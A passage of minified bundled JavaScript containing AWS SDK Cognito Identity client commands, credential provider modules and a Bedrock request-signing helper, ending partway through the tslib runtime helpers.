F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","DeleteIdentities",{}).n("CognitoIdentityClient","DeleteIdentitiesCommand").sc(Dg9).build(){}class Gz6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","DeleteIdentityPool",{}).n("CognitoIdentityClient","DeleteIdentityPoolCommand").sc(jg9).build(){}class Zz6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","DescribeIdentity",{}).n("CognitoIdentityClient","DescribeIdentityCommand").sc(Mg9).build(){}class Wz6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","DescribeIdentityPool",{}).n("CognitoIdentityClient","DescribeIdentityPoolCommand").sc(Pg9).build(){}class Dz6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","GetCredentialsForIdentity",{}).n("CognitoIdentityClient","GetCredentialsForIdentityCommand").sc(Vg9).build(){}class jz6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","GetId",{}).n("CognitoIdentityClient","GetIdCommand").sc(fg9).build(){}class Mz6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","GetIdentityPoolRoles",{}).n("CognitoIdentityClient","GetIdentityPoolRolesCommand").sc(Ng9).build(){}class Pz6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","GetOpenIdToken",{}).n("CognitoIdentityClient","GetOpenIdTokenCommand").sc(Tg9).build(){}class Vz6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","GetOpenIdTokenForDeveloperIdentity",{}).n("CognitoIdentityClient","GetOpenIdTokenForDeveloperIdentityCommand").sc(vg9).build(){}class fz6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","GetPrincipalTagAttributeMap",{}).n("CognitoIdentityClient","GetPrincipalTagAttributeMapCommand").sc(Eg9).build(){}class Nz6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","ListIdentities",{}).n("CognitoIdentityClient","ListIdentitiesCommand").sc(kg9).build(){}class p21 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","ListIdentityPools",{}).n("CognitoIdentityClient","ListIdentityPoolsCommand").sc(Cg9).build(){}class Tz6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","ListTagsForResource",{}).n("CognitoIdentityClient","ListTagsForResourceCommand").sc(Lg9).build(){}class vz6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","LookupDeveloperIdentity",{}).n("CognitoIdentityClient","LookupDeveloperIdentityCommand").sc(Rg9).build(){}class Ez6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","MergeDeveloperIdentities",{}).n("CognitoIdentityClient","MergeDeveloperIdentitiesCommand").sc(yg9).build(){}class kz6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","SetIdentityPoolRoles",{}).n("CognitoIdentityClient","SetIdentityPoolRolesCommand").sc(Ig9).build(){}class Cz6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","SetPrincipalTagAttributeMap",{}).n("CognitoIdentityClient","SetPrincipalTagAttributeMapCommand").sc(Sg9).build(){}class Lz6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","TagResource",{}).n("CognitoIdentityClient","TagResourceCommand").sc(hg9).build(){}class Rz6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","UnlinkDeveloperIdentity",{}).n("CognitoIdentityClient","UnlinkDeveloperIdentityCommand").sc(bg9).build(){}class yz6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","UnlinkIdentity",{}).n("CognitoIdentityClient","UnlinkIdentityCommand").sc(xg9).build(){}class Iz6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","UntagResource",{}).n("CognitoIdentityClient","UntagResourceCommand").sc(ug9).build(){}class Sz6 extends F2.Command.classBuilder().ep(ZO).m(function(A,K,q,Y){return[vJ.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSCognitoIdentityService","UpdateIdentityPool",{}).n("CognitoIdentityClient","UpdateIdentityPoolCommand").sc(Bg9).build(){}var mg9={CreateIdentityPoolCommand:$z6,DeleteIdentitiesCommand:_z6,DeleteIdentityPoolCommand:Gz6,DescribeIdentityCommand:Zz6,DescribeIdentityPoolCommand:Wz6,GetCredentialsForIdentityCommand:Dz6,GetIdCommand:jz6,GetIdentityPoolRolesCommand:Mz6,GetOpenIdTokenCommand:Pz6,GetOpenIdTokenForDeveloperIdentityCommand:Vz6,GetPrincipalTagAttributeMapCommand:fz6,ListIdentitiesCommand:Nz6,ListIdentityPoolsCommand:p21,ListTagsForResourceCommand:Tz6,LookupDeveloperIdentityCommand:vz6,MergeDeveloperIdentitiesCommand:Ez6,SetIdentityPoolRolesCommand:kz6,SetPrincipalTagAttributeMapCommand:Cz6,TagResourceCommand:Lz6,UnlinkDeveloperIdentityCommand:Rz6,UnlinkIdentityCommand:yz6,UntagResourceCommand:Iz6,UpdateIdentityPoolCommand:Sz6};class hz6 extends m21{}F2.createAggregatedClient(mg9,hz6);var gg9=u21.createPaginator(m21,p21,"NextToken","NextToken","MaxResults"),Fg9={AUTHENTICATED_ROLE:"AuthenticatedRole",DENY:"Deny"},Qg9={ACCESS_DENIED:"AccessDenied",INTERNAL_SERVER_ERROR:"InternalServerError"},Ug9={CONTAINS:"Contains",EQUALS:"Equals",NOT_EQUAL:"NotEqual",STARTS_WITH:"StartsWith"},pg9={RULES:"Rules",TOKEN:"Token"};Object.defineProperty(bz6,"$Command",{enumerable:!0,get:function(){return F2.Command}});Object.defineProperty(bz6,"__Client",{enumerable:!0,get:function(){return F2.Client}});bz6.AmbiguousRoleResolutionType=Fg9;bz6.CognitoIdentity=hz6;bz6.CognitoIdentityClient=m21;bz6.CognitoIdentityServiceException=uT;bz6.ConcurrentModificationException=CQ4;bz6.CreateIdentityPoolCommand=$z6;bz6.DeleteIdentitiesCommand=_z6;bz6.DeleteIdentityPoolCommand=Gz6;bz6.DescribeIdentityCommand=Zz6;bz6.DescribeIdentityPoolCommand=Wz6;bz6.DeveloperUserAlreadyRegisteredException=kQ4;bz6.ErrorCode=Qg9;bz6.ExternalServiceException=vQ4;bz6.GetCredentialsForIdentityCommand=Dz6;bz6.GetIdCommand=jz6;bz6.GetIdentityPoolRolesCommand=Mz6;bz6.GetOpenIdTokenCommand=Pz6;bz6.GetOpenIdTokenForDeveloperIdentityCommand=Vz6;bz6.GetPrincipalTagAttributeMapCommand=fz6;bz6.InternalErrorException=jQ4;bz6.InvalidIdentityPoolConfigurationException=EQ4;bz6.InvalidParameterException=MQ4;bz6.LimitExceededException=PQ4;bz6.ListIdentitiesCommand=Nz6;bz6.ListIdentityPoolsCommand=p21;bz6.ListTagsForResourceCommand=Tz6;bz6.LookupDeveloperIdentityCommand=vz6;bz6.MappingRuleMatchType=Ug9;bz6.MergeDeveloperIdentitiesCommand=Ez6;bz6.NotAuthorizedException=VQ4;bz6.ResourceConflictException=fQ4;bz6.ResourceNotFoundException=TQ4;bz6.RoleMappingType=pg9;bz6.SetIdentityPoolRolesCommand=kz6;bz6.SetPrincipalTagAttributeMapCommand=Cz6;bz6.TagResourceCommand=Lz6;bz6.TooManyRequestsException=NQ4;bz6.UnlinkDeveloperIdentityCommand=Rz6;bz6.UnlinkIdentityCommand=yz6;bz6.UntagResourceCommand=Iz6;bz6.UpdateIdentityPoolCommand=Sz6;bz6.paginateListIdentityPools=gg9});var uz6=v((d21)=>{var xz6=lQ4();Object.defineProperty(d21,"CognitoIdentityClient",{enumerable:!0,get:function(){return xz6.CognitoIdentityClient}});Object.defineProperty(d21,"GetCredentialsForIdentityCommand",{enumerable:!0,get:function(){return xz6.GetCredentialsForIdentityCommand}});Object.defineProperty(d21,"GetIdCommand",{enumerable:!0,get:function(){return xz6.GetIdCommand}})});var mz6=v((gF9)=>{var c21=dX();function iQ4(A){return Promise.all(Object.keys(A).reduce((K,q)=>{let Y=A[q];if(typeof Y==="string")K.push([q,Y]);else K.push(Y().then((z)=>[q,z]));return K},[])).then((K)=>K.reduce((q,[Y,z])=>{return q[Y]=z,q},{}))}function nQ4(A){return async(K)=>{A.logger?.debug("@aws-sdk/credential-provider-cognito-identity - fromCognitoIdentity");let{GetCredentialsForIdentityCommand:q,CognitoIdentityClient:Y}=await Promise.resolve().then(function(){return uz6()}),z=(X)=>A.clientConfig?.[X]??A.parentClientConfig?.[X]??K?.callerClientConfig?.[X],{Credentials:{AccessKeyId:w=SF9(A.logger),Expiration:H,SecretKey:J=bF9(A.logger),SessionToken:O}=hF9(A.logger)}=await(A.client??new Y(Object.assign({},A.clientConfig??{},{region:z("region"),profile:z("profile"),userAgentAppId:z("userAgentAppId")}))).send(new q({CustomRoleArn:A.customRoleArn,IdentityId:A.identityId,Logins:A.logins?await iQ4(A.logins):void 0}));return{identityId:A.identityId,accessKeyId:w,secretAccessKey:J,sessionToken:O,expiration:H}}}function SF9(A){throw new c21.CredentialsProviderError("Response from Amazon Cognito contained no access key ID",{logger:A})}function hF9(A){throw new c21.CredentialsProviderError("Response from Amazon Cognito contained no credentials",{logger:A})}function bF9(A){throw new c21.CredentialsProviderError("Response from Amazon Cognito contained no secret key",{logger:A})}var Bz6="IdentityIds";class rQ4{dbName;constructor(A="aws:cognito-identity-ids"){this.dbName=A}getItem(A){return this.withObjectStore("readonly",(K)=>{let q=K.get(A);return new Promise((Y)=>{q.onerror=()=>Y(null),q.onsuccess=()=>Y(q.result?q.result.value:null)})}).catch(()=>null)}removeItem(A){return this.withObjectStore("readwrite",(K)=>{let q=K.delete(A);return new Promise((Y,z)=>{q.onerror=()=>z(q.error),q.onsuccess=()=>Y()})})}setItem(A,K){return this.withObjectStore("readwrite",(q)=>{let Y=q.put({id:A,value:K});return new Promise((z,w)=>{Y.onerror=()=>w(Y.error),Y.onsuccess=()=>z()})})}getDb(){let A=self.indexedDB.open(this.dbName,1);return new Promise((K,q)=>{A.onsuccess=()=>{K(A.result)},A.onerror=()=>{q(A.error)},A.onblocked=()=>{q(Error("Unable to access DB"))},A.onupgradeneeded=()=>{let Y=A.result;Y.onerror=()=>{q(Error("Failed to create object store"))},Y.createObjectStore(Bz6,{keyPath:"id"})}})}withObjectStore(A,K){return this.getDb().then((q)=>{let Y=q.transaction(Bz6,A);return Y.oncomplete=()=>q.close(),new Promise((z,w)=>{Y.onerror=()=>w(Y.error),z(K(Y.objectStore(Bz6)))}).catch((z)=>{throw q.close(),z})})}}class oQ4{store;constructor(A={}){this.store=A}getItem(A){if(A in this.store)return this.store[A];return null}removeItem(A){delete this.store[A]}setItem(A,K){this.store[A]=K}}var xF9=new oQ4;function uF9(){if(typeof self==="object"&&self.indexedDB)return new rQ4;if(typeof window==="object"&&window.localStorage)return window.localStorage;return xF9}function BF9({accountId:A,cache:K=uF9(),client:q,clientConfig:Y,customRoleArn:z,identityPoolId:w,logins:H,userIdentifier:J=!H||Object.keys(H).length===0?"ANONYMOUS":void 0,logger:O,parentClientConfig:X}){O?.debug("@aws-sdk/credential-provider-cognito-identity - fromCognitoIdentity");let $=J?`aws:cognito-identity-credentials:${w}:${J}`:void 0,_=async(G)=>{let{GetIdCommand:Z,CognitoIdentityClient:W}=await Promise.resolve().then(function(){return uz6()}),D=(P)=>Y?.[P]??X?.[P]??G?.callerClientConfig?.[P],j=q??new W(Object.assign({},Y??{},{region:D("region"),profile:D("profile"),userAgentAppId:D("userAgentAppId")})),M=$&&await K.getItem($);if(!M){let{IdentityId:P=mF9(O)}=await j.send(new Z({AccountId:A,IdentityPoolId:w,Logins:H?await iQ4(H):void 0}));if(M=P,$)Promise.resolve(K.setItem($,M)).catch(()=>{})}return _=nQ4({client:j,customRoleArn:z,logins:H,identityId:M}),_(G)};return(G)=>_(G).catch(async(Z)=>{if($)Promise.resolve(K.removeItem($)).catch(()=>{});throw Z})}function mF9(A){throw new c21.CredentialsProviderError("Response from Amazon Cognito contained no identity ID",{logger:A})}gF9.fromCognitoIdentity=nQ4;gF9.fromCognitoIdentityPool=BF9});var tQ4=v((aQ4)=>{Object.defineProperty(aQ4,"__esModule",{value:!0});aQ4.fromCognitoIdentity=void 0;var UF9=mz6(),pF9=(A)=>(0,UF9.fromCognitoIdentity)({...A});aQ4.fromCognitoIdentity=pF9});var KU4=v((eQ4)=>{Object.defineProperty(eQ4,"__esModule",{value:!0});eQ4.fromCognitoIdentityPool=void 0;var dF9=mz6(),cF9=(A)=>(0,dF9.fromCognitoIdentityPool)({...A});eQ4.fromCognitoIdentityPool=cF9});var zU4=v((qU4)=>{Object.defineProperty(qU4,"__esModule",{value:!0});qU4.fromContainerMetadata=void 0;var lF9=K8A(),iF9=(A)=>{return A?.logger?.debug("@smithy/credential-provider-imds","fromContainerMetadata"),(0,lF9.fromContainerMetadata)(A)};qU4.fromContainerMetadata=iF9});var JU4=v((wU4)=>{Object.defineProperty(wU4,"__esModule",{value:!0});wU4.fromEnv=void 0;var nF9=w81(),rF9=(A)=>(0,nF9.fromEnv)(A);wU4.fromEnv=rF9});var $U4=v((OU4)=>{Object.defineProperty(OU4,"__esModule",{value:!0});OU4.fromIni=void 0;var oF9=Cs1(),aF9=(A={})=>(0,oF9.fromIni)({...A});OU4.fromIni=aF9});var ZU4=v((_U4)=>{Object.defineProperty(_U4,"__esModule",{value:!0});_U4.fromInstanceMetadata=void 0;var sF9=fV(),tF9=K8A(),eF9=(A)=>{return A?.logger?.debug("@smithy/credential-provider-imds","fromInstanceMetadata"),async()=>(0,tF9.fromInstanceMetadata)(A)().then((K)=>(0,sF9.setCredentialFeature)(K,"CREDENTIALS_IMDS","0"))};_U4.fromInstanceMetadata=eF9});var jU4=v((WU4)=>{Object.defineProperty(WU4,"__esModule",{value:!0});WU4.fromLoginCredentials=void 0;var AQ9=zs1(),KQ9=(A)=>(0,AQ9.fromLoginCredentials)({...A});WU4.fromLoginCredentials=KQ9});var gz6=v((MU4)=>{Object.defineProperty(MU4,"__esModule",{value:!0});MU4.fromNodeProviderChain=void 0;var qQ9=W8A(),YQ9=(A={})=>(0,qQ9.defaultProvider)({...A});MU4.fromNodeProviderChain=YQ9});var NU4=v((VU4)=>{Object.defineProperty(VU4,"__esModule",{value:!0});VU4.fromProcess=void 0;var zQ9=t81(),wQ9=(A)=>(0,zQ9.fromProcess)(A);VU4.fromProcess=wQ9});var EU4=v((TU4)=>{Object.defineProperty(TU4,"__esModule",{value:!0});TU4.fromSSO=void 0;var HQ9=g81(),JQ9=(A={})=>{return(0,HQ9.fromSSO)({...A})};TU4.fromSSO=JQ9});var CU4=v((l21)=>{Object.defineProperty(l21,"__esModule",{value:!0});l21.STSClient=l21.AssumeRoleCommand=void 0;var kU4=s81();Object.defineProperty(l21,"AssumeRoleCommand",{enumerable:!0,get:function(){return kU4.AssumeRoleCommand}});Object.defineProperty(l21,"STSClient",{enumerable:!0,get:function(){return kU4.STSClient}})});var yU4=v((Ju)=>{var XQ9=Ju&&Ju.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;var z=Object.getOwnPropertyDescriptor(K,q);if(!z||("get"in z?!K.__esModule:z.writable||z.configurable))z={enumerable:!0,get:function(){return K[q]}};Object.defineProperty(A,Y,z)}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),$Q9=Ju&&Ju.__setModuleDefault||(Object.create?function(A,K){Object.defineProperty(A,"default",{enumerable:!0,value:K})}:function(A,K){A.default=K}),_Q9=Ju&&Ju.__importStar||function(){var A=function(K){return A=Object.getOwnPropertyNames||function(q){var Y=[];for(var z in q)if(Object.prototype.hasOwnProperty.call(q,z))Y[Y.length]=z;return Y},A(K)};return function(K){if(K&&K.__esModule)return K;var q={};if(K!=null){for(var Y=A(K),z=0;z<Y.length;z++)if(Y[z]!=="default")XQ9(q,K,Y[z])}return $Q9(q,K),q}}();Object.defineProperty(Ju,"__esModule",{value:!0});Ju.fromTemporaryCredentials=void 0;var GQ9=Gz(),LU4=dX(),ZQ9="us-east-1",WQ9=(A,K,q)=>{let Y;return async(z={})=>{let{callerClientConfig:w}=z,H=A.clientConfig?.profile??w?.profile,J=A.logger??w?.logger;J?.debug("@aws-sdk/credential-providers - fromTemporaryCredentials (STS)");let O={...A.params,RoleSessionName:A.params.RoleSessionName??"aws-sdk-js-"+Date.now()};if(O?.SerialNumber){if(!A.mfaCodeProvider)throw new LU4.CredentialsProviderError("Temporary credential requires multi-factor authentication, but no MFA code callback was provided.",{tryNextLink:!1,logger:J});O.TokenCode=await A.mfaCodeProvider(O?.SerialNumber)}let{AssumeRoleCommand:X,STSClient:$}=await Promise.resolve().then(()=>_Q9(CU4()));if(!Y){let G=typeof K==="function"?K():void 0,Z=[A.masterCredentials,A.clientConfig?.credentials,void w?.credentials,w?.credentialDefaultProvider?.(),G],W="STS client default credentials";if(Z[0])W="options.masterCredentials";else if(Z[1])W="options.clientConfig.credentials";else if(Z[2])throw W="caller client's credentials",Error("fromTemporaryCredentials recursion in callerClientConfig.credentials");else if(Z[3])W="caller client's credentialDefaultProvider";else if(Z[4])W="AWS SDK default credentials";let D=[A.clientConfig?.region,w?.region,await q?.({profile:H}),ZQ9],j="default partition's default region";if(D[0])j="options.clientConfig.region";else if(D[1])j="caller client's region";else if(D[2])j="file or env region";let M=[RU4(A.clientConfig?.requestHandler),RU4(w?.requestHandler)],P="STS default requestHandler";if(M[0])P="options.clientConfig.requestHandler";else if(M[1])P="caller client's requestHandler";J?.debug?.(`@aws-sdk/credential-providers - fromTemporaryCredentials STS client init with ${j}=${await(0,GQ9.normalizeProvider)(i21(D))()}, ${W}, ${P}.`),Y=new $({userAgentAppId:w?.userAgentAppId,...A.clientConfig,credentials:i21(Z),logger:J,profile:H,region:i21(D),requestHandler:i21(M)})}if(A.clientPlugins)for(let G of A.clientPlugins)Y.middlewareStack.use(G);let{Credentials:_}=await Y.send(new X(O));if(!_||!_.AccessKeyId||!_.SecretAccessKey)throw new LU4.CredentialsProviderError(`Invalid response from STS.assumeRole call with role ${O.RoleArn}`,{logger:J});return{accessKeyId:_.AccessKeyId,secretAccessKey:_.SecretAccessKey,sessionToken:_.SessionToken,expiration:_.Expiration,credentialScope:_.CredentialScope}}};Ju.fromTemporaryCredentials=WQ9;var RU4=(A)=>{return A?.metadata?.handlerProtocol==="h2"?void 0:A},i21=(A)=>{for(let K of A)if(K!==void 0)return K}});var hU4=v((IU4)=>{Object.defineProperty(IU4,"__esModule",{value:!0});IU4.fromTemporaryCredentials=void 0;var DQ9=l0(),jQ9=NV(),MQ9=gz6(),PQ9=yU4(),VQ9=(A)=>{return(0,PQ9.fromTemporaryCredentials)(A,MQ9.fromNodeProviderChain,async({profile:K=process.env.AWS_PROFILE})=>(0,jQ9.loadConfig)({environmentVariableSelector:(q)=>q.AWS_REGION,configFileSelector:(q)=>{return q.region},default:()=>{return}},{...DQ9.NODE_REGION_CONFIG_FILE_OPTIONS,profile:K})())};IU4.fromTemporaryCredentials=VQ9});var uU4=v((bU4)=>{Object.defineProperty(bU4,"__esModule",{value:!0});bU4.fromTokenFile=void 0;var fQ9=PLA(),NQ9=(A={})=>(0,fQ9.fromTokenFile)({...A});bU4.fromTokenFile=NQ9});var gU4=v((BU4)=>{Object.defineProperty(BU4,"__esModule",{value:!0});BU4.fromWebToken=void 0;var TQ9=PLA(),vQ9=(A)=>(0,TQ9.fromWebToken)({...A});BU4.fromWebToken=vQ9});var Fz6=v((FZ)=>{Object.defineProperty(FZ,"__esModule",{value:!0});FZ.fromHttp=void 0;var dV=Uz();dV.__exportStar(qF4(),FZ);dV.__exportStar(tQ4(),FZ);dV.__exportStar(KU4(),FZ);dV.__exportStar(zU4(),FZ);dV.__exportStar(JU4(),FZ);var EQ9=X81();Object.defineProperty(FZ,"fromHttp",{enumerable:!0,get:function(){return EQ9.fromHttp}});dV.__exportStar($U4(),FZ);dV.__exportStar(ZU4(),FZ);dV.__exportStar(jU4(),FZ);dV.__exportStar(gz6(),FZ);dV.__exportStar(NU4(),FZ);dV.__exportStar(EU4(),FZ);dV.__exportStar(hU4(),FZ);dV.__exportStar(uU4(),FZ);dV.__exportStar(gU4(),FZ)});import CQ9 from"assert";var FU4,QU4,UU4,pU4,LQ9=()=>Promise.resolve().then(() => o(Fz6(),1)).then(({fromNodeProviderChain:A})=>A({clientConfig:{requestHandler:new QU4.FetchHttpHandler({requestInit:(K)=>{return{...K}}})}})).catch((A)=>{throw Error(`Failed to import '@aws-sdk/credential-providers'.You can provide a custom \`providerChainResolver\` in the client options if your runtime does not have access to '@aws-sdk/credential-providers': \`new AnthropicBedrock({ providerChainResolver })\` Original error: ${A.message}`)}),dU4=async(A,K)=>{CQ9(A.method,"Expected request method property to be set");let q=await(K.providerChainResolver?K.providerChainResolver():LQ9()),Y=await RQ9(()=>{if(K.awsAccessKey)process.env.AWS_ACCESS_KEY_ID=K.awsAccessKey;if(K.awsSecretKey)process.env.AWS_SECRET_ACCESS_KEY=K.awsSecretKey;if(K.awsSessionToken)process.env.AWS_SESSION_TOKEN=K.awsSessionToken},()=>q()),z=new pU4.SignatureV4({service:"bedrock",region:K.regionName,credentials:Y,sha256:FU4.Sha256}),w=new URL(K.url),H=!A.headers?{}:(Symbol.iterator in A.headers)?Object.fromEntries(Array.from(A.headers).map((X)=>[...X])):{...A.headers};delete H.connection,H.host=w.hostname;let J=new UU4.HttpRequest({method:A.method.toUpperCase(),protocol:w.protocol,path:w.pathname,headers:H,body:A.body});return(await z.sign(J)).headers},RQ9=async(A,K)=>{let q={...process.env};try{return A(),await K()}finally{process.env=q}};var cU4=k(()=>{FU4=o(rB4(),1),QU4=o(k26(),1),UU4=o(L26(),1),pU4=o(AF4(),1)});var Uz6=v((cVw,r21)=>{/*! ***************************************************************************** Copyright (c) Microsoft Corporation. Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ***************************************************************************** */var lU4,iU4,nU4,rU4,oU4,aU4,sU4,tU4,eU4,n21,Qz6,Ap4,Kp4,a$A,qp4,Yp4,zp4,wp4,Hp4,Jp4,Op4,Xp4,$p4;(function(A){var K=typeof global==="object"?global:typeof self==="object"?self:typeof this==="object"?this:{};if(typeof define==="function"&&define.amd)define("tslib",["exports"],function(Y){A(q(K,q(Y)))});else if(typeof r21==="object"&&typeof cVw==="object")A(q(K,q(cVw)));else A(q(K));function q(Y,z){if(Y!==K)if(typeof Object.create==="function")Object.defineProperty(Y,"__esModule",{value:!0});else Y.__esModule=!0;return function(w,H){return Y[w]=z?z(w,H):H}}})(function(A){var K=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(q,Y){q.__proto__=Y}||function(q,Y){for(var z in Y)if(Y.hasOwnProperty(z))q[z]=Y[z]};lU4=function(q,Y){K(q,Y);function z(){this.constructor=q}q.prototype=Y===null?Object.create(Y):(z.prototype=Y.prototype,new z)},iU4=Object.assign||function(q){for(var Y,z=1,w=arguments.length;z<w;z++){Y=arguments[z];for(var H in Y)if(Object.prototype.hasOwnProperty.call(Y,H))q[H]=Y[H]}return q},nU4=function(q,Y){var z={};for(var w in q)if(Object.prototype.hasOwnProperty.call(q,w)&&Y.indexOf(w)<0)z[w]=q[w];if(q!=null&&typeof Object.getOwnPropertySymbols==="function"){for(var H=0,w=Object.getOwnPropertySymbols(q);H<w.length;H++)if(Y.indexOf(w[H])<0&&Object.prototype.propertyIsEnumerable.call(q,w[H]))z[w[H]]=q[w[H]]}return z},rU4=function(q,Y,z,w){var H=arguments.length,J=H<3?Y:w===null?w=Object.getOwnPropertyDescriptor(Y,z):w,O;if(typeof Reflect==="object"&&typeof Reflect.decorate==="function")J=Reflect.decorate(q,Y,z,w);else for(var X=q.length-1;X>=0;X--)if(O=q[X])J=(H<3?O(J):H>3?O(Y,z,J):O(Y,z))||J;return H>3&&J&&Object.defineProperty(Y,z,J),J},oU4=function(q,Y){return function(z,w){Y(z,w,q)}},aU4=function(q,Y){if(typeof Reflect==="object"&&typeof Reflect.metadata==="function")return Reflect.metadata(q,Y)},sU4=function(q,Y,z,w){function H(J){return J instanceof z?J:new z(function(O){O(J)})}return new(z||(z=Promise))(function(J,O){function X(G){try{_(w.next(G))}catch(Z){O(Z)}}function $(G){try{_(w.throw(G))}catch(Z){O(Z)}}function _(G){G.done?J(G.value):H(G.value).then(X,$)}_((w=w.apply(q,Y||[])).next())})},tU4=function(q,Y){var z={label:0,sent:function(){if(J[0]&1)throw J[1];return J[1]},trys:[],ops:[]},w,H,J,O;return O={next:X(0),throw:X(1),return:X(2)},typeof Symbol==="function"&&(O[Symbol.iterator]=function(){return this}),O;function X(_){return function(G){return $([_,G])}}function $(_){if(w)throw TypeError("Generator is already executing.");while(z)try{if(w=1,H&&(J=_[0]&2?H.return:_[0]?H.throw||((J=H.return)&&J.call(H),0):H.next)&&!(J=J.call(H,_[1])).done)return J;if(H=0,J)_=[_[0]&2,J.value];switch(_[0]){case 0:case 1:J=_;break;case 4:return z.label++,{value:_[1],done:!1};case 5:z.label++,H=_[1],_=[0];continue;case 7:_=z.ops.pop(),z.trys.pop();continue;default:if((J=z.trys,!(J=J.length>0&&J[J.length-1]))&&(_[0]===6||_[0]===2)){z=0;continue}if(_[0]===3&&(!J||_[1]>J[0]&&_[1]<J[3])){z.label=_[1];break}if(_[0]===6&&z.label<J[1]){z.label=J[1],J=_;break}if(J&&z.label<J[2]){z.label=J[2],z.ops.push(_);break}if(J[2])z.ops.pop();z.trys.pop();continue}_=Y.call(q,z)}catch(G){_=[6,G],H=0}finally{w=J=0}if(_[0]&5)throw _[1];return{value:_[0]?_[1]:void 0,done:!0}}},$p4=function(q,Y,z,w){if(w===void 0)w=z;q[w]=Y[z]},eU4=function(q,Y){for(var z in q)if(z!=="default"&&!Y.hasOwnProperty(z))Y[z]=q[z]},n21=function(q){var Y=typeof Symbol==="function"&&Symbol.iterator,z=Y&&q[Y],w=0;if(z)return z.call(q);if(q&&typeof q.length==="number")return{next:function(){if(q&&w>=q.length)q=void 0;return{value:q&&q[w++],done:!q}}};throw TypeError(Y?"Object is not iterable.":"Symbol.iterator is not defined.")},Qz6=function(q,Y){var z=typeof Symbol==="function"&&q[Symbol.iterator];if(!z)return q;var w=z.call(q),H,J=[],O;try{while((Y===void 0||Y-- >0)&&!(H=w.next()).done)J.push(H.value)}catch(X){O={error:X}}finally{try{if(H&&!H.done&&(z=w.return))z.call(w)}finally{if(O)throw O.error}}return J},Ap4=function(){for(var q=[],Y=0;Y<arguments.length;Y++)q=q.concat(Qz6(arguments[Y]));return q},Kp4=function(){for(var q=0,Y=0,z=arguments.length;Y<z;Y++)q+=arguments[Y].length;for(var w=Array(q),H=0,Y=0;Y<z;Y++)for(var J=arguments[Y],O=0,X=J.length;O<X;O++,H++)w[H]=J[O];return w},a$A=function(q){return this instanceof a$A?(this.v=q,this):new a$A(q)},qp4=function(q,Y,z){if(!Symbol.asyncIterator)throw TypeError("Symbol.asyncIterator is not defined.");var 